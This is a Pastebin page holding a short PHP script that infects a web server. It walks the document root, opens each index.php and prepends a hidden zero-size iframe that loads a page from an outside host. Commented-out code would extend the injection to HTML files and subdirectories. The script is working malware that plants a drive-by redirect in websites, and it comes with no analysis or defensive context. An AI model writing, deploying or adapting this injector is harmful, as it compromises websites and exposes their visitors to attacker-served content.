Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?$sInjectPHP = "<iframe src=\"http://karatepacan.co.cc/up/go.php?sid=2\" width=\"0\" height=\"0\" frameborder=\"0\"></iframe>"?><?
- $iMaxDepth = 4;
- $iCurrDepth = 0;
- $sDir = $_SERVER['DOCUMENT_ROOT'].'/';
- Infect($sDir);
- function Infect($sDir)
- {
- global $iCurrDepth;
- global $iMaxDepth;
- global $sInjectPHP;
- global $sInjectHTML;
- global $sLog;
- if(file_exists($sDir) and $hDir = @opendir($sDir))
- {
- while(($sFileName = readdir($hDir)))
- {
- if(is_file($sDir.$sFileName))
- {
- $sExtension = substr($sFileName, strrpos($sFileName, '.')+1);
- switch($sExtension)
- {
- case 'php':
- if($sFileName == 'index.php')
- {
- $sFile = file_get_contents($sDir.$sFileName);
- $sFile = '<body>'.$sInjectPHP.'</body>'.$sFile;
- file_put_contents($sDir.$sFileName, $sFile);
- }
- break;
- /*case 'htm':
- case 'html':
- chmod($sDir.$sFileName, 666);
- $sFile = file_get_contents($sDir.$sFileName);
- $iPos = stripos($sFile, '</body>');
- if($iPos) $sFile = substr($sFile, 0, $iPos).$sInjectHTML.substr($sFile, $iPos);
- else $sFile .= $sInjectHTML;
- file_put_contents($sDir.$sFileName, $sFile);
- break;*/
- }
- }
- /*else if (is_dir($sDir.$sFileName) && $sFileName != '.' &&
- $sFileName != '..' && $iCurrDepth <= $iMaxDepth)
- {
- $iCurrDepth++;
- Infect($sDir.$sFileName.'/');
- $iCurrDepth--;
- }*/
- }
- closedir($hDir);
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment